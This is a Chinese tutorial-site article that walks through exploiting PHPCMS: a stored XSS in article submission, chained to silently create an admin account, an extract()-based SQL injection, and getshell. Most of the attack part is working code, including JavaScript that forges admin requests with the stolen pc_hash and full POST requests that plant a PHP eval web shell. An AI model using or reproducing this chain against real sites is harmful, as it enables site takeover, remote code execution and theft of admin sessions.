来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] PHPCMS文章投稿处存在存储型的XSS漏洞,也许当你看到标题的时候,你心里会想:楼主简直太不厚道了,不就一个XSS嘛,标题却来个代码执行 别慌,一个漏洞所造成的威胁,本人觉得并不在于其本...
PHPCMS文章投稿处存在存储型的XSS漏洞,也许当你看到标题的时候,你心里会想:楼主简直太不厚道了,不就一个XSS嘛,标题却来个代码执行...别慌,一个漏洞所造成的威胁,本人觉得并不在于其本身,而在于我们如何将其利用,使之最大化, So...听我细细道来... #1 首先说下这个漏洞的产生 /phpcms/modules/member/content.php 61行左右 <? $info = array(); foreach($_POST['info'] as $_k=>$_v){ if(in_array($_k, $fields)) $info[$_k] = new_html_special_chars(trim_script($_v)); } $_POST['linkurl'] = str_replace(array('"','(',')',",",' '),'',new_html_special_chars($_POST['linkurl'])); //exit($_POST['linkurl']);//上面一行仅简单过滤了"、(、)等,SO可以轻松绕过 $post_fields = array_keys($_POST['info']); ?>
投稿一篇 写入利用代码: Javascript:%28alert%28document.cookie%29%29
这个我具体没去测试,不过应该可行,给出利用代码(js): 将下面的代码保存为js: if(top.window.location.href.indexOf("pc_hash=")>0){ var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=")+8,6); } var xmlHttp = null; var cookie = document.cookie; var url = "index.php?m=admin&c=admin_manage&a=add"; var urldata = "info%5Busername%5D=test&info%5Bpassword%5D=123456&info%5Bpwdconfirm%5D=123456&info%5Bemail%5D=felixk3y%40qq.com&info%5Brealname%5D=aaa&info%5Broleid%5D=1&dosubmit=%E6%8F%90%E4%BA%A4&pc_hash="+hash; if(window.ActiveXObject){ xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); } else if(window.XMLHttpRequest){ xmlHttp=new XMLHttpRequest(); } if(xmlHttp!=null){ xmlHttp.onreadystatechange=state_Change; xmlHttp.open("POST",url,false); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;charset=UTF-8"); xmlHttp.setRequestHeader("Cookie",cookie); xmlHttp.send(urldata);//不为null时,必须设置Content-Type } function state_Change() { if(xmlHttp.readyState==4) { if (xmlHttp.status==200) { //alert(xmlHttp.responseText); } } }
话说XSS的危害没有SQL注入严重,好吧 我承认.但是由于PHPCMS的后台变量覆盖满天飞,利用变量覆盖造成的SQL注入不是一处两处,利用XSS,我们同样可以让管理员帮我们进行注入,下面随便挑一处进行说明: /phpcms/modules/admin/log.php 第51行左右 <? //... public function search_log() { $where = ''; extract($_GET['search']); //extract导致变量覆盖,覆盖下面的$where可进行注入 if($username){ $where .= $where ? " AND username='$username'" : " username='$username'"; } if($module){ $where .= $where ? " AND module='$module'" : " module='$module'"; } if($start_time && $end_time) { $start = $start_time; $end = $end_time; $where .= "AND `time` >= '$start' AND `time` <= '$end' "; //... ?> 至于具体利用嘛,可通过js的XMLHttpRequest ,具体就不多说了,都懂的... #5 深入利用之任意代码执行,GETSHELL 在XSS处插入Getshell的JavaScript代码,js大至代码如下(js不熟悉,只能写个大概,别见笑): 详细的过程可以参考:http://bbs.blackbap.org/thread-4568-1-1.html 这里只是通过XMLHttpRequest去实现罢了,So... 获取pc_hash: if(top.window.location.href.indexOf("pc_hash")>0){ var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=")+8,6); }
POST /phpcms/index.php?m=admin&c=urlrule&a=add post参数: dosubmit=+%CC%E1%BD%BB+&pc_hash=Wq87o4&info%5Bfile%5D=category&info%5Bmodule%5D=content&info%5Bishtml%5D=1&info%5Bexample%5D=shell&info%5Burlrule%5D=shell.php&f1=%7B%24categorydir%7D&f1=%7B%24catdir%7D&f1=%7B%24year%7D&f1=%7B%24month%7D&f1=%7B%24day%7D&f1=%7B%24id%7D&f1=%7B%24page%7D
POST /phpcms/index.php?m=admin&c=category&a=add post参数: addtype=0&info%5Bmodelid%5D=1&info%5Bparentid%5D=0&info%5Bcatname%5D=%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3F%3E&batch_add=&info%5Bcatdir%5D=shell&info%5Bimage%5D=&info%5Bdescription%5D=&setting%5Bworkflowid%5D=&info%5Bismenu%5D=1&setting%5Bishtml%5D=1&setting%5Bcontent_ishtml%5D=0&category_php_ruleid=6&category_html_ruleid=33&show_php_ruleid=16&show_html_ruleid=11&setting%5Bcreate_to_html_root%5D=0&info%5Burl%5D=&setting%5Btemplate_list%5D=default&setting%5Bcategory_template%5D=category&setting%5Blist_template%5D=list&setting%5Bshow_template%5D=show&setting%5Bmeta_title%5D=&setting%5Bmeta_keywords%5D=&setting%5Bmeta_description%5D=&setting%5Bpresentpoint%5D=1&setting%5Bdefaultchargepoint%5D=0&setting%5Bpaytype%5D=0&setting%5Brepeatchargedays%5D=1&catid=&dosubmit=%CC%E1%BD%BB&pc_hash=Wq87o4
POST /phpcms/index.php?m=content&c=create_html&a=category post参数: pc_hash=Wq87o4&dosubmit=1&type=all&modelid=&catids%5B%5D=0&pagesize=10
下面给出个xmlhttp发送post包大致代码如下: var postdata = "postdata" xmlhttp.open("POST", url, true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Content-length", postdata.length); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(paramss);
11.jpg
SHELL Link: http://url/html/shell.php |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com